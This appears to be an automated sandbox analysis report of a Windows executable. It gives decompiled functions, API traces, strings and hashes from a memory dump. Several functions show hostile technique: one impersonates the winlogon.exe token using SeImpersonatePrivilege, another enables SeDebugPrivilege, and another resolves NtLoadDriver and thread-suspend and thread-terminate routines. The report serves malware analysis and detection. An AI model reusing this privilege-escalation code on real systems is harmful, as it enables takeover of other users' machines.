String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
API String ID: 1529661771-70141382
Opcode ID: 5bb6ae9af13ee73b8e972736f9e45c56a416d8eed90bd4e1aed24245ad07e366
Instruction ID: 092d130926b261125bd3b69643a6c94717898c68ce40be050c227dd31faca138
Opcode Fuzzy Hash: 5bb6ae9af13ee73b8e972736f9e45c56a416d8eed90bd4e1aed24245ad07e366
Instruction Fuzzy Hash: C7F0D4B4D40704AECB306FB59C09E16BAE1EFA8700B614D3EE0C1A3290D7799044CF48

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2C6, Relevance: 18.1, APIs: 12, Instructions: 134COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,0040C390,00000070), ref: 0040B2D5
__set_app_type.MSVCRT ref: 0040B334
__p__fmode.MSVCRT ref: 0040B349
__p__commode.MSVCRT ref: 0040B357
__setusermatherr.MSVCRT ref: 0040B383
_initterm.MSVCRT ref: 0040B399
__wgetmainargs.KERNELBASE ref: 0040B3BC
_initterm.MSVCRT ref: 0040B3CF
GetStartupInfoW.KERNEL32(?), ref: 0040B42C
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0040B452
exit.KERNELBASE ref: 0040B469
_cexit.MSVCRT ref: 0040B46F

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleModule_initterm$InfoStartup__p__commode__p__fmode__set_app_type__setusermatherr__wgetmainargs_cexitexit
String ID:
API String ID: 2827331108-0
Opcode ID: 480d2f0d1e59e5c54fd79cbec4a7142595e90bf4a66800abf037708ca1cfab7b
Instruction ID: dde25c0b0dc41f5004a610fd87b0135bea3e3095e736c0cca49ec984ade2cc6a
Opcode Fuzzy Hash: 480d2f0d1e59e5c54fd79cbec4a7142595e90bf4a66800abf037708ca1cfab7b
Instruction Fuzzy Hash: 3D519E71C50604DBCB20AFA4D9889AD77B4FB04710F60823BE861B72D2D7394D82CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00401F04, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401F04(void* __edx, intOrPtr _a4) {
				int _v8;
				void _v538;
				long _v540;
				void _v1066;
				char _v1068;
				long _t30;
				int _t33;
				int _t39;
				void* _t42;
				void* _t45;
				long _t49;

				_t45 = __edx;
				_v540 = 0;
				memset( &_v538, 0, 0x208);
				_v1068 = 0;
				memset( &_v1066, 0, 0x208);
				E00404C3C( &_v540);
				_t48 = L"winlogon.exe";
				_t39 = wcslen(L"winlogon.exe");
				_t8 = wcslen( &_v540) + 1; // 0x1
				_t53 = _t39 + _t8 - 0x104;
				_pop(_t42);
				if(_t39 + _t8 >= 0x104) {
					_v1068 = 0;
				} else {
					E00404BE4( &_v1068,  &_v540, _t48);
					_pop(_t42);
				}
				_v8 = 0;
				_t30 = E00401DF9(_t45, _t53, _a4,  &_v1068,  &_v8); // executed
				_t49 = _t30;
				_t54 = _t49;
				if(_t49 == 0) {
					E00408F48(_t42, _t54, L"SeImpersonatePrivilege"); // executed
					_t33 = ImpersonateLoggedOnUser(_v8); // executed
					if(_t33 == 0) {
						_t49 = GetLastError();
					}
					CloseHandle(_v8);
				}
				return _t49;
			}

0x00401f04
0x00401f20
0x00401f27
0x00401f38
0x00401f3f
0x00401f4e
0x00401f54
0x00401f5f
0x00401f6e
0x00401f72
0x00401f77
0x00401f78
0x00401f91
0x00401f7a
0x00401f88
0x00401f8e
0x00401f8e
0x00401fa6
0x00401fa9
0x00401fae
0x00401fb0
0x00401fb2
0x00401fb9
0x00401fc2
0x00401fca
0x00401fd2
0x00401fd2
0x00401fd7
0x00401fd7
0x00401fe3

APIs

memset.MSVCRT ref: 00401F27
memset.MSVCRT ref: 00401F3F

Part of subcall function 00404C3C: GetSystemDirectoryW.KERNEL32(0041C6D0,00000104), ref: 00404C52
Part of subcall function 00404C3C: wcscpy.MSVCRT ref: 00404C62

wcslen.MSVCRT ref: 00401F5A
wcslen.MSVCRT ref: 00401F69
ImpersonateLoggedOnUser.KERNELBASE(?,0040218D,?,?,?,?,?,?,?,00000000), ref: 00401FC2
GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 00401FCC
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 00401FD7

Part of subcall function 00404BE4: wcscpy.MSVCRT ref: 00404BEC
Part of subcall function 00404BE4: wcscat.MSVCRT ref: 00404BFB

Strings

winlogon.exe, xrefs: 00401F54, 00401F59, 00401F80
SeImpersonatePrivilege, xrefs: 00401FB4

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memsetwcscpywcslen$CloseDirectoryErrorHandleImpersonateLastLoggedSystemUserwcscat
String ID: SeImpersonatePrivilege$winlogon.exe
API String ID: 3867304300-2177360481
Opcode ID: b9815b26473cd7491ae288f5076cf4125b88922a7fa2441dfc3ee00491751d6f
Instruction ID: dcc5dec8953379ec1552ef046485534b93905478987a0ec3c51696e6dc85d708
Opcode Fuzzy Hash: b9815b26473cd7491ae288f5076cf4125b88922a7fa2441dfc3ee00491751d6f
Instruction Fuzzy Hash: 48214F72940118AACB20A795DC899DFB7BCDF54354F5001BBF608F2191EB345A848BAC

Uniqueness

Uniqueness Score: -1.00%

Function 00409555, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27
libraryloadertimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409555(void* _a4, struct _FILETIME* _a8, struct _FILETIME* _a12, struct _FILETIME* _a16, struct _FILETIME* _a20) {
				int _t8;
				struct HINSTANCE__* _t9;

				if( *0x41c8e8 == 0) {
					_t9 = GetModuleHandleW(L"kernel32.dll");
					if(_t9 != 0) {
						 *0x41c8e8 = 1;
						 *0x41c8ec = GetProcAddress(_t9, "GetProcessTimes");
					}
				}
				if( *0x41c8ec == 0) {
					return 0;
				} else {
					_t8 = GetProcessTimes(_a4, _a8, _a12, _a16, _a20); // executed
					return _t8;
				}
			}

0x0040955f
0x00409566
0x0040956e
0x00409576
0x00409586
0x00409586
0x0040956e
0x00409592
0x004095aa
0x00409594
0x004095a3
0x004095a6
0x004095a6

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00409764,00000000,?,?,?,00401DD3,00000000,?), ref: 00409566
GetProcAddress.KERNEL32(00000000,GetProcessTimes), ref: 00409580
GetProcessTimes.KERNELBASE(00000000,00401DD3,?,?,?,?,00409764,00000000,?,?,?,00401DD3,00000000,?), ref: 004095A3

Strings

kernel32.dll, xrefs: 00409561
GetProcessTimes, xrefs: 00409570

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProcProcessTimes
String ID: GetProcessTimes$kernel32.dll
API String ID: 1714573020-3385500049
Opcode ID: 7c908c3a013f4f9010f7eee84109228e73c5ea75ed64b39a480063120f72be39
Instruction ID: 684c615278f70e6dc9f1b796aa494e436c9634249af5aea594c4fe29f2bd0140
Opcode Fuzzy Hash: 7c908c3a013f4f9010f7eee84109228e73c5ea75ed64b39a480063120f72be39
Instruction Fuzzy Hash: 51F0C031680209EFDF019FE5ED85B9A3BE9EB44705F008535F908E12A1D7758960EB58

Uniqueness

Uniqueness Score: -1.00%

Function 00402F31, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402F31(void* _a4) {
				void _v530;
				long _v532;
				void* __edi;
				wchar_t* _t15;
				intOrPtr _t18;
				short* _t19;
				void* _t22;
				void* _t29;

				_v532 = _v532 & 0x00000000;
				memset( &_v530, 0, 0x208);
				E00404AD9( &_v532);
				_t15 = wcsrchr( &_v532, 0x2e);
				if(_t15 != 0) {
					 *_t15 =  *_t15 & 0x00000000;
				}
				wcscat( &_v532, L".cfg");
				_t18 =  *0x40fa74; // 0x4101c8
				_t19 = _t18 + 0x5504;
				_t36 =  *_t19;
				_pop(_t29);
				if( *_t19 != 0) {
					E00404923(0x104,  &_v532, _t19);
					_pop(_t29);
				}
				_t22 = E00402FC6(_t29, _t36,  &_v532); // executed
				return _t22;
			}

0x00402f3a
0x00402f51
0x00402f60
0x00402f6f
0x00402f78
0x00402f7a
0x00402f7a
0x00402f8a
0x00402f8f
0x00402f94
0x00402f99
0x00402f9e
0x00402f9f
0x00402fad
0x00402fb2
0x00402fb2
0x00402fbd
0x00402fc5

APIs

memset.MSVCRT ref: 00402F51

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

wcsrchr.MSVCRT ref: 00402F6F
wcscat.MSVCRT ref: 00402F8A

Strings

.cfg, xrefs: 00402F84

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileModuleNamememsetwcscatwcsrchr
String ID: .cfg
API String ID: 776488737-3410578098
Opcode ID: 728259185716957c59a96a9101d5f0e08b84084941d0fa3c3d1a3b0935b5c9f5
Instruction ID: 9e44addaa5645187fa8e636e844442f878cb26b9c6a589516f43c5b5973a5f2a
Opcode Fuzzy Hash: 728259185716957c59a96a9101d5f0e08b84084941d0fa3c3d1a3b0935b5c9f5
Instruction Fuzzy Hash: D501487254420C9ADB20E755DD8AFCA73BCEB54314F1008BBA514F61C1D7F8AAC48A9C

Uniqueness

Uniqueness Score: -1.00%

Function 00409DDC, Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 35%

			E00409DDC(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr _a16, WCHAR* _a20) {
				char _v16390;
				short _v16392;
				void* __edi;
				intOrPtr* _t30;
				intOrPtr* _t34;
				signed int _t36;
				signed int _t37;

				_t30 = __ecx;
				E0040B550(0x4004, __ecx);
				_push(0x4000);
				_push(0);
				_v16392 = 0;
				_t34 = _t30;
				_push( &_v16390);
				if(_a4 == 0) {
					memset();
					GetPrivateProfileStringW(_a8, _a12, 0x40c4e8,  &_v16392, 0x2000, _a20); // executed
					asm("sbb esi, esi");
					_t37 =  ~_t36;
					E004051B8( &_v16392, _t34, _a16);
				} else {
					memset();
					E0040512F(_a16,  *_t34,  &_v16392);
					_t37 = WritePrivateProfileStringW(_a8, _a12,  &_v16392, _a20);
				}
				return _t37;
			}

0x00409ddc
0x00409de4
0x00409df0
0x00409df5
0x00409df6
0x00409e03
0x00409e05
0x00409e06
0x00409e3b
0x00409e5d
0x00409e6a
0x00409e73
0x00409e75
0x00409e08
0x00409e08
0x00409e19
0x00409e37
0x00409e37
0x00409e81

APIs

memset.MSVCRT ref: 00409E08

Part of subcall function 0040512F: _snwprintf.MSVCRT ref: 00405174
Part of subcall function 0040512F: memcpy.MSVCRT ref: 00405184

WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00409E31
memset.MSVCRT ref: 00409E3B
GetPrivateProfileStringW.KERNEL32 ref: 00409E5D

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfileStringmemset$Write_snwprintfmemcpy
String ID:
API String ID: 1127616056-0
Opcode ID: 58dd6d091b48cbb0307dc7b23365382c2a8386e907ab43d681c23093a5f2522d
Instruction ID: edc1d82326a177a4eed1c31c26edb3d60bf211bedf20f6070ddf32627235df0d
Opcode Fuzzy Hash: 58dd6d091b48cbb0307dc7b23365382c2a8386e907ab43d681c23093a5f2522d
Instruction Fuzzy Hash: A9117071500119AFDF11AF64DD06E9E7BA9EF04704F1000BAFB05B6191E7319E608BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00404951, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404951(signed int* __eax, void* __edx, void** __edi, signed int _a4, char _a8) {
				void* _t8;
				void* _t13;
				signed int _t16;
				void** _t21;
				signed int _t22;

				_t21 = __edi;
				_t22 =  *__eax;
				if(__edx < _t22) {
					return 0;
				} else {
					_t13 =  *__edi;
					do {
						_t1 =  &_a8; // 0x4057e1
						 *__eax =  *__eax +  *_t1;
						_t16 =  *__eax;
					} while (__edx >= _t16);
					_t8 = malloc(_t16 * _a4); // executed
					 *__edi = _t8;
					if(_t22 > 0) {
						if(_t8 != 0) {
							memcpy(_t8, _t13, _t22 * _a4);
						}
						free(_t13); // executed
					}
					return 0 |  *_t21 != 0x00000000;
				}
			}

0x00404951
0x00404952
0x00404956
0x004049a1
0x00404958
0x00404959
0x0040495b
0x0040495b
0x0040495f
0x00404961
0x00404963
0x0040496d
0x00404975
0x00404977
0x0040497b
0x00404985
0x0040498a
0x0040498e
0x00404993
0x0040499d
0x0040499d

APIs

malloc.MSVCRT ref: 0040496D
memcpy.MSVCRT ref: 00404985
free.MSVCRT(00000000,00000000,?,004055BF,00000002,?,00000000,?,004057E1,00000000,?,00000000), ref: 0040498E

Strings

W@, xrefs: 0040495B

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: freemallocmemcpy
String ID: W@
API String ID: 3056473165-1729568415
Opcode ID: 333fb239f4ff1cdabd0487bf4b3bf6bf98c6d246a46385af68035416a7f8f3c9
Instruction ID: 6576f77cd119d718dc8f29c334e0549a7190cc93a29033006f08a56aa9c3ab10
Opcode Fuzzy Hash: 333fb239f4ff1cdabd0487bf4b3bf6bf98c6d246a46385af68035416a7f8f3c9
Instruction Fuzzy Hash: 09F054B26092229FC708AA79B98585BB79DEF84364711487EF514E72D1D7389C40C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 00405436, Relevance: 6.0, APIs: 4, Instructions: 31
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405436(wchar_t* _a4) {
				void _v2050;
				signed short _v2052;
				void* __esi;
				struct HINSTANCE__* _t16;
				WCHAR* _t18;

				_v2052 = _v2052 & 0x00000000;
				memset( &_v2050, 0, 0x7fe);
				E00404C3C( &_v2052);
				_t18 =  &_v2052;
				E004047AF(_t18);
				wcscat(_t18, _a4);
				_t16 = LoadLibraryW(_t18); // executed
				if(_t16 == 0) {
					return LoadLibraryW(_a4);
				}
				return _t16;
			}

0x0040543f
0x00405456
0x00405462
0x00405467
0x0040546d
0x00405478
0x00405489
0x0040548d
0x00000000
0x00405492
0x00405496

APIs

memset.MSVCRT ref: 00405456

Part of subcall function 00404C3C: GetSystemDirectoryW.KERNEL32(0041C6D0,00000104), ref: 00404C52
Part of subcall function 00404C3C: wcscpy.MSVCRT ref: 00404C62

Part of subcall function 004047AF: wcslen.MSVCRT ref: 004047B0
Part of subcall function 004047AF: wcscat.MSVCRT ref: 004047C8

wcscat.MSVCRT ref: 00405478
LoadLibraryW.KERNELBASE(00000000), ref: 00405489
LoadLibraryW.KERNEL32(?), ref: 00405492

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoadwcscat$DirectorySystemmemsetwcscpywcslen
String ID:
API String ID: 3725422290-0
Opcode ID: 1802a75fbf0d54ac87396d762f51419468a1e880665e67f03dd367b63fba9ca4
Instruction ID: bb87c58107a7235a9df1b9b02ada5b91fca9717c482d10a691b94706fbe65826
Opcode Fuzzy Hash: 1802a75fbf0d54ac87396d762f51419468a1e880665e67f03dd367b63fba9ca4
Instruction Fuzzy Hash: EBF03771D40229A6DF20B7A5CC06B8A7A6CFF40758F0044B6B94CB7191DB7CEA558FD8

Uniqueness

Uniqueness Score: -1.00%

Function 00409E82, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetPrivateProfileIntW.KERNEL32 ref: 00409EA9

Part of subcall function 00409D12: memset.MSVCRT ref: 00409D31
Part of subcall function 00409D12: _itow.MSVCRT ref: 00409D48
Part of subcall function 00409D12: WritePrivateProfileStringW.KERNEL32(?,?,00000000), ref: 00409D57

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfile$StringWrite_itowmemset
String ID:
API String ID: 4232544981-0
Opcode ID: eeb21031a92c0a089a906d8cada5f37383a5669735d00d1bca9b9fb7ea3296f1
Instruction ID: 9cbd54488ddde29c65bb9f464d3594e5c231a9cc3fc51dd6b87f783e4d357368
Opcode Fuzzy Hash: eeb21031a92c0a089a906d8cada5f37383a5669735d00d1bca9b9fb7ea3296f1
Instruction Fuzzy Hash: CDE0B632000209FFDF125F80EC01AAA3B66FF14315F648569F95814171D33799B0EF88

Uniqueness

Uniqueness Score: -1.00%

Function 00408F48, Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408F48(void* __ecx, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				void* _t8;
				void* _t13;

				_v8 = _v8 & 0x00000000;
				_t8 = E00408FC9( &_v8, __eflags, _a4); // executed
				_t13 = _t8;
				if(_v8 != 0) {
					FreeLibrary(_v8);
				}
				return _t13;
			}

0x00408f4c
0x00408f57
0x00408f60
0x00408f62
0x00408f67
0x00408f67
0x00408f71

APIs

Part of subcall function 00408FC9: GetCurrentProcess.KERNEL32(00000028,00000000), ref: 00408FD8
Part of subcall function 00408FC9: GetLastError.KERNEL32(00000000), ref: 00408FEA

FreeLibrary.KERNEL32(00000000,?,?,?,?,004085BD,SeDebugPrivilege,00000000,?,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00408F67

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentErrorFreeLastLibraryProcess
String ID:
API String ID: 187924719-0
Opcode ID: 66172dc437a911e831faa251a40591583a4df33fd2c7ff74237865ec7cba41cd
Instruction ID: 8dfc096080dba386992b60ff887e92109f2b64d1c6b3d0c2bddabb0c4d0164ae
Opcode Fuzzy Hash: 66172dc437a911e831faa251a40591583a4df33fd2c7ff74237865ec7cba41cd
Instruction Fuzzy Hash: D6D01231511119FBDF109B91CE06BCDBB79DB00399F104179E400B2190D7759F04E694

Uniqueness

Uniqueness Score: -1.00%

Function 004098F9, Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E004098F9(struct HINSTANCE__** __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				intOrPtr* _t6;
				void* _t8;
				struct HINSTANCE__** _t10;

				_t10 = __eax;
				E00409921(__eax);
				_t6 =  *((intOrPtr*)(_t10 + 0x10));
				if(_t6 == 0) {
					return 0;
				}
				_t8 =  *_t6(_a4, 0, _a8, 0x104); // executed
				return _t8;
			}

0x004098fa
0x004098fc
0x00409901
0x00409907
0x00000000
0x0040991c
0x00409918
0x00000000

APIs

Part of subcall function 00409921: GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00409941
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 0040994D
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00409959
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00409965
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00409971

K32GetModuleFileNameExW.KERNEL32(00000104,00000000,004096DF,00000104,004096DF,00000000,?), ref: 00409918

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$FileModuleName
String ID:
API String ID: 3859505661-0
Opcode ID: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
Instruction ID: 0481de772a0e6c3324847b7c7a0c8cc4c6a15655966ff13cfb2205d1ba48b523
Opcode Fuzzy Hash: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
Instruction Fuzzy Hash: 26D0A9B22183006BD620AAB08C00B4BA2D47B80710F008C2EB590E22D2D274CD105208

Uniqueness

Uniqueness Score: -1.00%

Function 004095DA, Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004095DA(signed int* __edi) {
				void* __esi;
				struct HINSTANCE__* _t3;
				signed int* _t7;

				_t7 = __edi;
				_t3 =  *__edi;
				if(_t3 != 0) {
					FreeLibrary(_t3); // executed
					 *__edi =  *__edi & 0x00000000;
				}
				E004099D4( &(_t7[0xa]));
				return E004099D4( &(_t7[6]));
			}

0x004095da
0x004095da
0x004095de
0x004095e1
0x004095e7
0x004095e7
0x004095ee
0x004095fc

APIs

FreeLibrary.KERNELBASE(00000000,00401DF2,?,00000000,?,?,00000000), ref: 004095E1

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 3a8c82b58b4536e75bc69a87746d6aa363a9327662929a541f6021599fdffafa
Instruction ID: 13308881ed9fba3be053afa591bd741d52050d54eca683c3f8d57f3833d878b6
Opcode Fuzzy Hash: 3a8c82b58b4536e75bc69a87746d6aa363a9327662929a541f6021599fdffafa
Instruction Fuzzy Hash: 5DD0C973401113EBDB01BB26EC856957368BF00315B15012AA801B35E2C738BDA6CAD8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3C1, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A3C1(struct HINSTANCE__* _a4, WCHAR* _a8) {

				EnumResourceNamesW(_a4, _a8, E0040A33B, 0); // executed
				return 1;
			}

0x0040a3d0
0x0040a3d9

APIs

EnumResourceNamesW.KERNELBASE(?,?,0040A33B,00000000), ref: 0040A3D0

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: EnumNamesResource
String ID:
API String ID: 3334572018-0
Opcode ID: 4e80c9868bdfa7667331217c7ed8963edd970179f9d5bbd233f5df82d78e7ab4
Instruction ID: 553cc51789f51932b097ae14593f850e519bfff9ece1921d1baa913e09089cf7
Opcode Fuzzy Hash: 4e80c9868bdfa7667331217c7ed8963edd970179f9d5bbd233f5df82d78e7ab4
Instruction Fuzzy Hash: 17C09B3215C341D7D7019F208C15F1EF695BB59701F104C39B191A40E0C77140349A05

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00408E31, Relevance: 45.6, APIs: 13, Strings: 13, Instructions: 57
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408E31() {
				void* _t1;
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t14;

				if( *0x41c4ac == 0) {
					_t2 = GetModuleHandleW(L"ntdll.dll");
					 *0x41c4ac = _t2;
					 *0x41c47c = GetProcAddress(_t2, "NtQuerySystemInformation");
					 *0x41c480 = GetProcAddress( *0x41c4ac, "NtLoadDriver");
					 *0x41c484 = GetProcAddress( *0x41c4ac, "NtUnloadDriver");
					 *0x41c488 = GetProcAddress( *0x41c4ac, "NtOpenSymbolicLinkObject");
					 *0x41c48c = GetProcAddress( *0x41c4ac, "NtQuerySymbolicLinkObject");
					 *0x41c490 = GetProcAddress( *0x41c4ac, "NtQueryObject");
					 *0x41c494 = GetProcAddress( *0x41c4ac, "NtOpenThread");
					 *0x41c498 = GetProcAddress( *0x41c4ac, "NtClose");
					 *0x41c49c = GetProcAddress( *0x41c4ac, "NtQueryInformationThread");
					 *0x41c4a0 = GetProcAddress( *0x41c4ac, "NtSuspendThread");
					 *0x41c4a4 = GetProcAddress( *0x41c4ac, "NtResumeThread");
					_t14 = GetProcAddress( *0x41c4ac, "NtTerminateThread");
					 *0x41c4a8 = _t14;
					return _t14;
				}
				return _t1;
			}

0x00408e38
0x00408e44
0x00408e56
0x00408e68
0x00408e7a
0x00408e8c
0x00408e9e
0x00408eb0
0x00408ec2
0x00408ed4
0x00408ee6
0x00408ef8
0x00408f0a
0x00408f1c
0x00408f21
0x00408f23
0x00000000
0x00408f28
0x00408f29

APIs

GetModuleHandleW.KERNEL32(ntdll.dll,?,004097C3), ref: 00408E44
GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation), ref: 00408E5B
GetProcAddress.KERNEL32(NtLoadDriver), ref: 00408E6D
GetProcAddress.KERNEL32(NtUnloadDriver), ref: 00408E7F
GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject), ref: 00408E91
GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject), ref: 00408EA3
GetProcAddress.KERNEL32(NtQueryObject), ref: 00408EB5
GetProcAddress.KERNEL32(NtOpenThread), ref: 00408EC7
GetProcAddress.KERNEL32(NtClose), ref: 00408ED9
GetProcAddress.KERNEL32(NtQueryInformationThread), ref: 00408EEB
GetProcAddress.KERNEL32(NtSuspendThread), ref: 00408EFD
GetProcAddress.KERNEL32(NtResumeThread), ref: 00408F0F
GetProcAddress.KERNEL32(NtTerminateThread), ref: 00408F21

Strings

NtLoadDriver, xrefs: 00408E5D
NtOpenThread, xrefs: 00408EB7
NtSuspendThread, xrefs: 00408EED
NtResumeThread, xrefs: 00408EFF
ntdll.dll, xrefs: 00408E3F
NtTerminateThread, xrefs: 00408F11
NtQueryObject, xrefs: 00408EA5
NtQuerySystemInformation, xrefs: 00408E50
NtClose, xrefs: 00408EC9
NtQueryInformationThread, xrefs: 00408EDB
NtOpenSymbolicLinkObject, xrefs: 00408E81
